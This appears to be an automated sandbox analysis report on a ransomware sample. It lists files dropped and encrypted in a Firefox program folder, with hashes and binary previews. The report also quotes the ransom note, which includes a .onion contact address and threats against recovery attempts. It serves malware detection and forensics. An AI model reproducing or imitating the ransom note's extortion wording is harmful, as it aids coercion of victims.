Preview:	;w.l.. xz9.?....A..c.B..K..(.4l.V..r..Lz..^.M.~..Ls..Y3../.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .........<......................................\|-.l.. \|.9.?...R..a."...[..(.4l.V..r..Lz..^.M.n..Ls..Y3../..-.......-..x............P.......T...)...........,............................... ..8............/..............................XY..... .t9.?....Q..c.B...K..(.4l.V..r..b....?.Mii..Ls..Y3./.............@..@.data...@....@.......,..............@....pdata.......P......................@..@.00cfg..(....`.......0..........v-.l...`R.K.\....A..c.B...K....4l.V..r..Lz..^.-...... s..Y3../......4...................rsrc................6..............@..@.reloc...............R..............@..B........................v-.l.. \|z9.?....A..c.B...K..(.4l.V..r..Lz..^.M.~..Ls..Y3./.................................................................................................................................v-.l.. \|z9.?....A..c.B...K..(.4l.V..r..

C:\Program Files\Mozilla Firefox\application.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	7.576219585527025
Encrypted:	false
SSDEEP:	24:utukk7gb+dfm+qKXQPlvBRKq6k2rroIj+9RuedqasvS:utPkkb+tmKXClvDErRQyvS
MD5:	DB0C4615121D4C88937707824B44AA10
SHA1:	26DA2D174626BC9B19DEF2AB490DCC8E87B7CF4C
SHA-256:	09D97A35DE3446A99278D65530A052326292AD56FF794A6727CC2373F3638AD0
SHA-512:	2FFCED4EC20A3A96C8ECDBA4FDC41F9694DC6A5DDBFCD7DF2AF5F05AF59079A7060929A72BCC206E7FDF79029DB3FEC1848612E55E83E3F34C41B4DE9EE7C3C0
Malicious:	false
Preview:	...)...........-.....f..V....O......a@...5b.z...oG....8.t....a5.[........b......T'(.......O...._`....5a.q.U.hU..B.".w...."5...........6^....k.f(.......P.H...:..P.gz.g.E.fR....%.z...(c......M.]........Y"3.K.....L.m...(&...sz...R.hV..#.<.(....'..q....L.N..zP....#B/0.?...G..^..L'UNG.Fz.f.R.bR.....#.(....2{.T...Y...l.....[#=......I......y.....F.a.T.TV...P.i.!...%s...........!N...... 9GN...M.......vXLL.s"Rw.......@.3.p....r ......^.y.'.....,^(.......H.._..N.-...pg.}.Y.6....C.[.N....K.......L..........E{m{\|.....H.5...a..".P{.v.R.:.....4.@...55......B....'.....OZ)&......M.....a_...np.,...a....].\|.#..#q.V.....J..zJ....D/3.K....E..A...q..B.%'L$...5....U.[.T....% ...........1D.....h1......[O.....t..P.:0/F.s.Dv...;...\...d..2.......V..2....3p..TY....4l.B..7T.2:.0:Z[.h.Bp..#.~.F.......:.....j.:.gQ..5e..$"...Z.....6W5(6.[J)Q.d.Hl.....0.p..ml...C.W..+...r.p.S6....O#'.V.&tE...........>Ig..g..D9..'.}.=........#..R....-.w*.1.g._.s.....3.

C:\Program Files\Mozilla Firefox\application.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	7.576219585527025
Encrypted:	false
SSDEEP:	24:utukk7gb+dfm+qKXQPlvBRKq6k2rroIj+9RuedqasvS:utPkkb+tmKXClvDErRQyvS
MD5:	DB0C4615121D4C88937707824B44AA10
SHA1:	26DA2D174626BC9B19DEF2AB490DCC8E87B7CF4C
SHA-256:	09D97A35DE3446A99278D65530A052326292AD56FF794A6727CC2373F3638AD0
SHA-512:	2FFCED4EC20A3A96C8ECDBA4FDC41F9694DC6A5DDBFCD7DF2AF5F05AF59079A7060929A72BCC206E7FDF79029DB3FEC1848612E55E83E3F34C41B4DE9EE7C3C0
Malicious:	false
Preview:	...)...........-.....f..V....O......a@...5b.z...oG....8.t....a5.[........b......T'(.......O...._`....5a.q.U.hU..B.".w...."5...........6^....k.f(.......P.H...:..P.gz.g.E.fR....%.z...(c......M.]........Y"3.K.....L.m...(&...sz...R.hV..#.<.(....'..q....L.N..zP....#B/0.?...G..^..L'UNG.Fz.f.R.bR.....#.(....2{.T...Y...l.....[#=......I......y.....F.a.T.TV...P.i.!...%s...........!N...... 9GN...M.......vXLL.s"Rw.......@.3.p....r ......^.y.'.....,^(.......H.._..N.-...pg.}.Y.6....C.[.N....K.......L..........E{m{\|.....H.5...a..".P{.v.R.:.....4.@...55......B....'.....OZ)&......M.....a_...np.,...a....].\|.#..#q.V.....J..zJ....D/3.K....E..A...q..B.%'L$...5....U.[.T....% ...........1D.....h1......[O.....t..P.:0/F.s.Dv...;...\...d..2.......V..2....3p..TY....4l.B..7T.2:.0:Z[.h.Bp..#.~.F.......:.....j.:.gQ..5e..$"...Z.....6W5(6.[J)Q.d.Hl.....0.p..ml...C.W..+...r.p.S6....O#'.V.&tE...........>Ig..g..D9..'.}.=........#..R....-.w*.1.g._.s.....3.

C:\Program Files\Mozilla Firefox\browser\VisualElements\PrivateBrowsing_150.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15978
Entropy (8bit):	7.975230512027902
Encrypted:	false
SSDEEP:	384:KuLoXUakbX3bmDSaVerbav6JwHsaCQ9C0AYKgqF3c5sRzlzc:fUEakb7BSermSUqORqFTz2
MD5:	D85A78D2889655C9A83705F0A1A9425A
SHA1:	F06816504847D98609194220EE80D5DF3A6139C6
SHA-256:	B187451BF3599A1C1781F2F8AA6BCC0A7500CACBD9892E5EBD8594CBC914C1FF
SHA-512:	2FD7D27F028A161710E1780236356C8D796B0C84967C321CBFEDB1B0BB616BA1DE0DF4DD2F5A4290D018BD8339E75173099F40908693E45B2EB03B9EDF630F5F
Malicious:	false
Preview:	e.D...5.N:......wo)l...&'.d.0y.s....O.`I+...3....){.'..j. ... H....;G...2.l.@..i'...:K:.....M..@#..Z...<....,[6..HY...C..%.-. .B.......k........[U.3.1.~...N.....nwM}.....x<.....x<.cJ.......-.....i...d6...l.g...!..\.>...^..).0X...~.u....x<.....x<.....x<.....x<.....x<.....x<.....x<.....x<.....x<..D...i.%..`..r.t.(.. . .v..Q.f>.......me...k.*%..o.'.t3^8z.#....#,.)Rq...[XH+4.......]W..i...&..^.r....]../.!.8..<;....OR.{.1!G/3..1.c...^8...U..8.v..m..z......:\..,...%.........li:B.H.....82j....cg1[..n`..rg.../...>.Y..b..}.t.^8.....wzw1[.8.%..f~.....RY.2......O5.3.X.-..m..{L..E...........d.....3M.l1.....I.xa..C.Z..........x.#&,..e..O.P./-....0..x...t).}../..w.=E..>....Ybs...]F...G3..1.v.......rx..2.....s...U`.e<..1./.J....y8..t. J.m`....b......&.e{q.b.h.......F...]\.3._.{..m.u.'Z2.3x../>..:].O[(.<\....H/.C..>....I......"p.X..x:........h<..9...x...>..E.3...Gvu....../..+....,X.....x\..).....x..5^<f`A...4....{......]e...t/...f...uD&-.....

C:\Program Files\Mozilla Firefox\browser\VisualElements\PrivateBrowsing_150.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15978
Entropy (8bit):	7.975230512027902
Encrypted:	false
SSDEEP:	384:KuLoXUakbX3bmDSaVerbav6JwHsaCQ9C0AYKgqF3c5sRzlzc:fUEakb7BSermSUqORqFTz2
MD5:	D85A78D2889655C9A83705F0A1A9425A
SHA1:	F06816504847D98609194220EE80D5DF3A6139C6
SHA-256:	B187451BF3599A1C1781F2F8AA6BCC0A7500CACBD9892E5EBD8594CBC914C1FF
SHA-512:	2FD7D27F028A161710E1780236356C8D796B0C84967C321CBFEDB1B0BB616BA1DE0DF4DD2F5A4290D018BD8339E75173099F40908693E45B2EB03B9EDF630F5F
Malicious:	false
Preview:	e.D...5.N:......wo)l...&'.d.0y.s....O.`I+...3....){.'..j. ... H....;G...2.l.@..i'...:K:.....M..@#..Z...<....,[6..HY...C..%.-. .B.......k........[U.3.1.~...N.....nwM}.....x<.....x<.cJ.......-.....i...d6...l.g...!..\.>...^..).0X...~.u....x<.....x<.....x<.....x<.....x<.....x<.....x<.....x<.....x<..D...i.%..`..r.t.(.. . .v..Q.f>.......me...k.*%..o.'.t3^8z.#....#,.)Rq...[XH+4.......]W..i...&..^.r....]../.!.8..<;....OR.{.1!G/3..1.c...^8...U..8.v..m..z......:\..,...%.........li:B.H.....82j....cg1[..n`..rg.../...>.Y..b..}.t.^8.....wzw1[.8.%..f~.....RY.2......O5.3.X.-..m..{L..E...........d.....3M.l1.....I.xa..C.Z..........x.#&,..e..O.P./-....0..x...t).}../..w.=E..>....Ybs...]F...G3..1.v.......rx..2.....s...U`.e<..1./.J....y8..t. J.m`....b......&.e{q.b.h.......F...]\.3._.{..m.u.'Z2.3x../>..:].O[(.<\....H/.C..>....I......"p.X..x:........h<..9...x...>..E.3...Gvu....../..+....,X.....x\..).....x..5^<f`A...4....{......]e...t/...f...uD&-.....

C:\Program Files\Mozilla Firefox\browser\VisualElements\PrivateBrowsing_70.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6066
Entropy (8bit):	7.938025962531338
Encrypted:	false
SSDEEP:	96:5TeJkP7h0huXgB5uaUmsUrkEPCPqGKfE1JmMnKWTwnRf/m7Nt/Vf0QZlSHNPsOh3:5TeJs7h0kXA5uFOkyfmJmCwnRf/krf4n
MD5:	AD2D79699B4A2D3078656F92BF2AB146
SHA1:	34D2C706E9352200C38CA54959D16BF268F11A91
SHA-256:	94781352796957742ACD34B6DFD9F678008FD2887C6F4874FD290D0CAC6054D0
SHA-512:	B99ED1D15F1868C16C2A9F508EE2CC37545A7A38006D1EBE2B5FF25F8A0E6C3DBDD36A94A2D122790CD64474BCC77EB6CF2BFFCD8D99BF15B1ABD9A57E29CA93
Malicious:	false
Preview:	9.Cmi....2<.....;8...f...L5`......J.]...n(..du...u.}...Q.Y....$.;.,.J\:.e`J.C..iH.)...M...)..3...LK.....a(.......N28.X&.0.....J./....QN..n.v.}...;;..;...~f.{>....~..y..y.w.bbbbbbbbbbbb.?oH..nP^.8.9.YZ...Dk....t.!.x..........^.Ni..b...r4..Rr...$].o.v.A...j..E....q...1..kv......pk1b..!....Bp...... ../......G.0.....f.zOXOw.y`..`U........_I....._.,...>...p..".V........kM..lJ.`....Ek;.]`K....&....^.E.vp"8..M.]g#l...w.." ..1.7...:../..9.\_V>.y`[...d..u&:..<.....$..E...C.o..c.d....Z....y..^O..s./,E.m.x.z.GA6..,.m.>....+.k....=......C.KV.;.}W....n.o..+.v=...e. dK.......Tp..P.N!f...Pd..t..c.3.jY.w...6......-c.o.,8{.P+->.......o../.L;..%...H.tF.M20......p...cN.I4D&k...dm..B0.....J.......&..`..n....=l..;.g.)(.%~rd.....$yU..`...9.GD.H.&....n..W...A..:(..n..X.;\|r..K.m.+/6(-\:.5.F...x.=.F&y..$...L..H...-{V.).\.9...b..h...=y>".>..j..L.f...M.~%.<p..u3\|p........b..q[......,D....1.....^...P+D[..j......y..H.....76~m..z...tb...F..F>....,..5.D....

C:\Program Files\Mozilla Firefox\browser\VisualElements\PrivateBrowsing_70.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6066
Entropy (8bit):	7.938025962531338
Encrypted:	false
SSDEEP:	96:5TeJkP7h0huXgB5uaUmsUrkEPCPqGKfE1JmMnKWTwnRf/m7Nt/Vf0QZlSHNPsOh3:5TeJs7h0kXA5uFOkyfmJmCwnRf/krf4n
MD5:	AD2D79699B4A2D3078656F92BF2AB146
SHA1:	34D2C706E9352200C38CA54959D16BF268F11A91
SHA-256:	94781352796957742ACD34B6DFD9F678008FD2887C6F4874FD290D0CAC6054D0
SHA-512:	B99ED1D15F1868C16C2A9F508EE2CC37545A7A38006D1EBE2B5FF25F8A0E6C3DBDD36A94A2D122790CD64474BCC77EB6CF2BFFCD8D99BF15B1ABD9A57E29CA93
Malicious:	false
Preview:	9.Cmi....2<.....;8...f...L5`......J.]...n(..du...u.}...Q.Y....$.;.,.J\:.e`J.C..iH.)...M...)..3...LK.....a(.......N28.X&.0.....J./....QN..n.v.}...;;..;...~f.{>....~..y..y.w.bbbbbbbbbbbb.?oH..nP^.8.9.YZ...Dk....t.!.x..........^.Ni..b...r4..Rr...$].o.v.A...j..E....q...1..kv......pk1b..!....Bp...... ../......G.0.....f.zOXOw.y`..`U........_I....._.,...>...p..".V........kM..lJ.`....Ek;.]`K....&....^.E.vp"8..M.]g#l...w.." ..1.7...:../..9.\_V>.y`[...d..u&:..<.....$..E...C.o..c.d....Z....y..^O..s./,E.m.x.z.GA6..,.m.>....+.k....=......C.KV.;.}W....n.o..+.v=...e. dK.......Tp..P.N!f...Pd..t..c.3.jY.w...6......-c.o.,8{.P+->.......o../.L;..%...H.tF.M20......p...cN.I4D&k...dm..B0.....J.......&..`..n....=l..;.g.)(.%~rd.....$yU..`...9.GD.H.&....n..W...A..:(..n..X.;\|r..K.m.+/6(-\:.5.F...x.=.F&y..$...L..H...-{V.).\.9...b..h...=y>".>..j..L.f...M.~%.<p..u3\|p........b..q[......,D....1.....^...P+D[..j......y..H.....76~m..z...tb...F..F>....,..5.D....

C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23351
Entropy (8bit):	7.978898608213255
Encrypted:	false
SSDEEP:	384:JP6MrLYcTZPHF3vQh8JXy3xfZAQ9DXxL1tNXgBcQSBOqgfc4eIsjbBUGr4QwQ8tD:J3EcTZ5v2hWQ9Dh5POFf1ajNJsQwVtLX
MD5:	57F4A04DA1F2916A88D938AE87A8976D
SHA1:	57FCD6FBE54E295FB84B0CB47BD1011E5524C133
SHA-256:	DD9373B4AD38CDBD54274C01446C5848FB33F53A0E4C7E49499E365216D2ED93
SHA-512:	2BEF6A007F1BCE2101418B56670420590160F6DC7AF37B078BC0651B1C49495146271512468EA813D1FADBF5318703373286BA638BE12717D276363F81C7CD6A
Malicious:	false
Preview:	..R}..Q..]k`...+jH.............X....e...f....0.....]......v<.M..I2..............................q...lI.0..{..c....f.?...$..,?\.33...............\..n..h..."..<..f>SY.r...'1=..5...A.C.Y.../..c... s.....z...\|j.]E..c......c.x.ok..&#6.\|..1...n......1q...#..\|.#=.@B........':..G../'M........}....8bb...JoB5",.4...V.H....&&...i.........U...E..]. f.$.L%&.jBb~E.lB...6...Q..2q]/....+..G..i.&.u.?&.m .%`...e.....>.7w...7.j..1.J..<#.....4.......[L..FC.H.i..&...i...hP..v...E$.Yh.Vr.T..!Z-.8.hP<.<..h=..B..%"...C...j..\.N....Q.8....i0..G..w......EG.=..}..ZYc.+M.......d..1q..m.]X.5'....=....a:.cE\|.k..%...M...=.g...j..'.....\|.R. .-../2'....h.....@+E@.!.-.........F.}.Ctv....Q.n}.#.......X4.(#%..r;...1(.,....N.Z.V.../....>.....#N.<.k.:Dg......X}."E.....-..q..ID.t.L....7W..S+.J...%]...pS[.../#...Rl.....p......u..J...:v9:...".....q!P1..h....b.m..eF..Q..^......D..@.....A...+..qUT......#....'y...*..r<..W..y;7xRL...dO.....3C.....,.. ....T....W._...".'..R. yk.p

C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23351
Entropy (8bit):	7.978898608213255
Encrypted:	false
SSDEEP:	384:JP6MrLYcTZPHF3vQh8JXy3xfZAQ9DXxL1tNXgBcQSBOqgfc4eIsjbBUGr4QwQ8tD:J3EcTZ5v2hWQ9Dh5POFf1ajNJsQwVtLX
MD5:	57F4A04DA1F2916A88D938AE87A8976D
SHA1:	57FCD6FBE54E295FB84B0CB47BD1011E5524C133
SHA-256:	DD9373B4AD38CDBD54274C01446C5848FB33F53A0E4C7E49499E365216D2ED93
SHA-512:	2BEF6A007F1BCE2101418B56670420590160F6DC7AF37B078BC0651B1C49495146271512468EA813D1FADBF5318703373286BA638BE12717D276363F81C7CD6A
Malicious:	false
Preview:	..R}..Q..]k`...+jH.............X....e...f....0.....]......v<.M..I2..............................q...lI.0..{..c....f.?...$..,?\.33...............\..n..h..."..<..f>SY.r...'1=..5...A.C.Y.../..c... s.....z...\|j.]E..c......c.x.ok..&#6.\|..1...n......1q...#..\|.#=.@B........':..G../'M........}....8bb...JoB5",.4...V.H....&&...i.........U...E..]. f.$.L%&.jBb~E.lB...6...Q..2q]/....+..G..i.&.u.?&.m .%`...e.....>.7w...7.j..1.J..<#.....4.......[L..FC.H.i..&...i...hP..v...E$.Yh.Vr.T..!Z-.8.hP<.<..h=..B..%"...C...j..\.N....Q.8....i0..G..w......EG.=..}..ZYc.+M.......d..1q..m.]X.5'....=....a:.cE\|.k..%...M...=.g...j..'.....\|.R. .-../2'....h.....@+E@.!.-.........F.}.Ctv....Q.n}.#.......X4.(#%..r;...1(.,....N.Z.V.../....>.....#N.<.k.:Dg......X}."E.....-..q..ID.t.L....7W..S+.J...%]...pS[.../#...Rl.....p......u..J...:v9:...".....q!P1..h....b.m..eF..Q..^......D..@.....A...+..qUT......#....'y...*..r<..W..y;7xRL...dO.....3C.....,.. ....T....W._...".'..R. yk.p

C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_70.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9077
Entropy (8bit):	7.9619460551997445
Encrypted:	false
SSDEEP:	192:1JeswpKrwT2FAuaNTEmTj79dmh5uiyj1eFtB3IICR/XS:8KrwT2wZzjJg3dysIa
MD5:	AC6F6B62EE880415DBE68EE7907DFDDB
SHA1:	A5EA53D60812CD409931C5DB2E36DDE1CCD7C056
SHA-256:	5D6D04C0E11D570D55E31C0BC6E6D24F0E3290E11553C6622A2C97A27D65D2DE
SHA-512:	C38326DDA88BB4A9D37833F46DA775864FDDC70C0EAA7219BF6786F6097EDD7E5DDBB0F4D2A063C77487CA575D5DCA07EE018C62A4E820E74072911B94A5FD49
Malicious:	false
Preview:	..<./..!.../w.Y;..b......X....C.h.d-4.c.....`t..+.HV....".........w.Pr......=3K.]1.cv.9..~...133333333....I......._.T..>.x..d)o.;..[.......Uu..Y....g...~`..8.N}<.a.O.l...\..$........M.............qAY.QZ.3......1........@...st..T.......>36h@.^.h'f..b.D5Fx;....0..s.._B.9...#..L.>=.....P..H._df.3..tTw.2..fY...8.H(fl...nd...a\.:@=..4..q........tr.U.[My..v....nUe.8~../..ong....R..........WC.....R`..[.Q.$e.]J._......x.n9N2..<.x..ol.......He.U\_s\|]t(.<q$D.6.m.xe{>...2&Z.x.....h>.(..V..{r8_.P.......U..B.5.'.z.L...e.r8..P<............)../.....7@...[.W......p.8$..J..J.L......W..bA..`d.0d.]..!P..:.!JQ~Y..c...."..OD..mvf....B"..Vt-..-.~.V..XWX...../..../p..>!..K.f.<...s.y...Mg.......>".o..8.T............E..&;?.......vq.;{.2..siu.^..y...,..E.#.DwU)...)'.....5_.bX(a..~.R..?V.....k.}A.../y...d.e.......u....\|).@B....i.>....2.!.... ...X.j_....u...I?&qw...d....S.<.\|..0.&wq..G......[....Gi....../.3u...............Jc..o.M?....T..1..K..Z..`...B&.*..W...

C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_70.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9077
Entropy (8bit):	7.9619460551997445
Encrypted:	false
SSDEEP:	192:1JeswpKrwT2FAuaNTEmTj79dmh5uiyj1eFtB3IICR/XS:8KrwT2wZzjJg3dysIa
MD5:	AC6F6B62EE880415DBE68EE7907DFDDB
SHA1:	A5EA53D60812CD409931C5DB2E36DDE1CCD7C056
SHA-256:	5D6D04C0E11D570D55E31C0BC6E6D24F0E3290E11553C6622A2C97A27D65D2DE
SHA-512:	C38326DDA88BB4A9D37833F46DA775864FDDC70C0EAA7219BF6786F6097EDD7E5DDBB0F4D2A063C77487CA575D5DCA07EE018C62A4E820E74072911B94A5FD49
Malicious:	false
Preview:	..<./..!.../w.Y;..b......X....C.h.d-4.c.....`t..+.HV....".........w.Pr......=3K.]1.cv.9..~...133333333....I......._.T..>.x..d)o.;..[.......Uu..Y....g...~`..8.N}<.a.O.l...\..$........M.............qAY.QZ.3......1........@...st..T.......>36h@.^.h'f..b.D5Fx;....0..s.._B.9...#..L.>=.....P..H._df.3..tTw.2..fY...8.H(fl...nd...a\.:@=..4..q........tr.U.[My..v....nUe.8~../..ong....R..........WC.....R`..[.Q.$e.]J._......x.n9N2..<.x..ol.......He.U\_s\|]t(.<q$D.6.m.xe{>...2&Z.x.....h>.(..V..{r8_.P.......U..B.5.'.z.L...e.r8..P<............)../.....7@...[.W......p.8$..J..J.L......W..bA..`d.0d.]..!P..:.!JQ~Y..c...."..OD..mvf....B"..Vt-..-.~.V..XWX...../..../p..>!..K.f.<...s.y...Mg.......>".o..8.T............E..&;?.......vq.;{.2..siu.^..y...,..E.#.DwU)...)'.....5_.bX(a..~.R..?V.....k.}A.../y...d.e.......u....\|).@B....i.>....2.!.... ...X.j_....u...I?&qw...d....S.<.\|..0.&wq..G......[....Gi....../.3u...............Jc..o.M?....T..1..K..Z..`...B&.*..W...

C:\Program Files\Mozilla Firefox\browser\VisualElements\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\browser\crashreporter-override.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	7.4811362475938
Encrypted:	false
SSDEEP:	24:eI/R1tPbkDLyn5IXeuo7qYz1LICb7UWmbng0bM8wCFtS:ekRgXRoukICf2bng0b9vtS
MD5:	AF95C5673F13B044DDA6921368799A7D
SHA1:	E6C06DEBB0033CCF195C74D5E3A217034D6A0CA6
SHA-256:	9AA4DC390706E8BC4FC3F4196E45A60CF4A0117D837E9E371ACD9246D7386139
SHA-512:	A404E04C55CD947B920750A2DACD504F3819677A8F895A0FF87A1AC86D396A0016CA05CCE28232832B618B7BEE87ABBC9E033436E3E680FBDE6E375C33D7AE77
Malicious:	false
Preview:	...g.....\|BG-`....g..@f8..&..&.03.T.+og.tH8.. ."+u...D..C6..h....m..e..zI..#..d:..N/...2...5.0(.T.+og.Avu..<Rl0i.[.X.dF8..]...z.1....G.f...dQ..@l..<..,.0(..."~g.eN%P.`.m%t.S...dHu..t....!..O...wN.Ni...da..ak.6..2..(g...,n..v0.9.=.l8n.5...Yl...b....@......7d..\|...4g...}..7.....b(. .;~u.+....oWq.t...N.zN9.........6..q@G.`...-f...//..2..!.y)....k3.~T{`.=.q7O.O.Y.s]...\....\|..7..k.Z(f...+p...kk..#...).}g...ci5.bR0..o%g..VS...dVz.......a..e..m...m..l...a/. ... .0..T.&y3.cN&D.!.l.s.P._.xN...A......$...mB..}...da..a..6...e.e%...ckg.c[&..=.r0o...E.xk?..Q...+....wu..`...6L...}".:.2 .du.2.1o!.i.=..o."/o.].N.6N4..[....k.e......./...d\|...j8.!....bg...0&.u."..+.u,=.W.E..[z..K....}..+..p...c..7(...h%.6...!.v..T.+og.cU7.."^"&r...J.6\?...us a crash report....r.....>.4u...::.<.}..x.+....~..+.9.,...U;m:.h..';Jp.;.t.....J. ...........K{.....grU.....^0...S..{m.O.8..).`v...k....4?h....^.d......@.$T.<'..S...[..Y>k)G#.I...{T1r..g.b..[L........h$...:..{%I.....

C:\Program Files\Mozilla Firefox\browser\crashreporter-override.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	7.4811362475938
Encrypted:	false
SSDEEP:	24:eI/R1tPbkDLyn5IXeuo7qYz1LICb7UWmbng0bM8wCFtS:ekRgXRoukICf2bng0b9vtS
MD5:	AF95C5673F13B044DDA6921368799A7D
SHA1:	E6C06DEBB0033CCF195C74D5E3A217034D6A0CA6
SHA-256:	9AA4DC390706E8BC4FC3F4196E45A60CF4A0117D837E9E371ACD9246D7386139
SHA-512:	A404E04C55CD947B920750A2DACD504F3819677A8F895A0FF87A1AC86D396A0016CA05CCE28232832B618B7BEE87ABBC9E033436E3E680FBDE6E375C33D7AE77
Malicious:	false
Preview:	...g.....\|BG-`....g..@f8..&..&.03.T.+og.tH8.. ."+u...D..C6..h....m..e..zI..#..d:..N/...2...5.0(.T.+og.Avu..<Rl0i.[.X.dF8..]...z.1....G.f...dQ..@l..<..,.0(..."~g.eN%P.`.m%t.S...dHu..t....!..O...wN.Ni...da..ak.6..2..(g...,n..v0.9.=.l8n.5...Yl...b....@......7d..\|...4g...}..7.....b(. .;~u.+....oWq.t...N.zN9.........6..q@G.`...-f...//..2..!.y)....k3.~T{`.=.q7O.O.Y.s]...\....\|..7..k.Z(f...+p...kk..#...).}g...ci5.bR0..o%g..VS...dVz.......a..e..m...m..l...a/. ... .0..T.&y3.cN&D.!.l.s.P._.xN...A......$...mB..}...da..a..6...e.e%...ckg.c[&..=.r0o...E.xk?..Q...+....wu..`...6L...}".:.2 .du.2.1o!.i.=..o."/o.].N.6N4..[....k.e......./...d\|...j8.!....bg...0&.u."..+.u,=.W.E..[z..K....}..+..p...c..7(...h%.6...!.v..T.+og.cU7.."^"&r...J.6\?...us a crash report....r.....>.4u...::.<.}..x.+....~..+.9.,...U;m:.h..';Jp.;.t.....J. ...........K{.....grU.....^0...S..{m.O.8..).`v...k....4?h....^.d......@.$T.<'..S...[..Y>k)G#.I...{T1r..g.b..[L........h$...:..{%I.....

C:\Program Files\Mozilla Firefox\browser\features\formautofill@mozilla.org.xpi

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.9220216652552224
Encrypted:	false
SSDEEP:	3072:6FR71yXcCxbO8kCB3hIrQ4sK9U/2LW0cGm:s8cC1BxY/st/0FcGm
MD5:	8D90EFD2CDC689815414C3EA407EA4C5
SHA1:	3CBEF15862FD0904608C5D49EA10AC0FF488E900
SHA-256:	0AA9AAA0B025FE05F7CCE470CC27479997AF895E96B7476233550AE9FCB58DE0
SHA-512:	519BD4A312D954CB9F24BDEF8F38296AB1D628203EED9C7DEC06BBC3E4522182949C001EC72224D8619DD8CE953C312E8D133BB074B45F3B9182D46BD6760C79
Malicious:	false
Preview:	o.C.5F..F].{...3..."..h.3...R('$..\y.-...\X.x...m..2k.6........!<.).........................(..chrome.manifestPK............!<.AI.S...S.................K)..background.jsPK............!<g....F.....{...37.,...w..=.1@SK...?..Y..k...........foF..sPK............!<..uiq1..q1.. ..............w..chrome/content/customElements.jsPK............!<!.DH........ .............d...chrK.&+.b.y70nT....WS.I.<.G.Q..)#0..\y.-..x_..R.....lb..4.............chrome/content/editCreditCard.xhtmlPK............!<.C............................chrome/content/editDialog.jsPK......$.C.e..1e..s...:7.3..D.3.=.R(...x.\.._..k.......%...Au@...l.cssPK............!<.iet........".............O...chrome/content/formfill-anchor.svgPK............!<...........$.............(..Cg...`7qy......^.C... .A.N..[@R...*..f...G...x...b.?-=[...'...&.................chrome/content/icon-address-update.svgPK............!<P+F.........+.................chrome/content/icon-cre@.7).l.i.9......@A.\|..P.9.=.R(!$...&.

C:\Program Files\Mozilla Firefox\browser\features\formautofill@mozilla.org.xpi.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.9220216652552224
Encrypted:	false
SSDEEP:	3072:6FR71yXcCxbO8kCB3hIrQ4sK9U/2LW0cGm:s8cC1BxY/st/0FcGm
MD5:	8D90EFD2CDC689815414C3EA407EA4C5
SHA1:	3CBEF15862FD0904608C5D49EA10AC0FF488E900
SHA-256:	0AA9AAA0B025FE05F7CCE470CC27479997AF895E96B7476233550AE9FCB58DE0
SHA-512:	519BD4A312D954CB9F24BDEF8F38296AB1D628203EED9C7DEC06BBC3E4522182949C001EC72224D8619DD8CE953C312E8D133BB074B45F3B9182D46BD6760C79
Malicious:	false
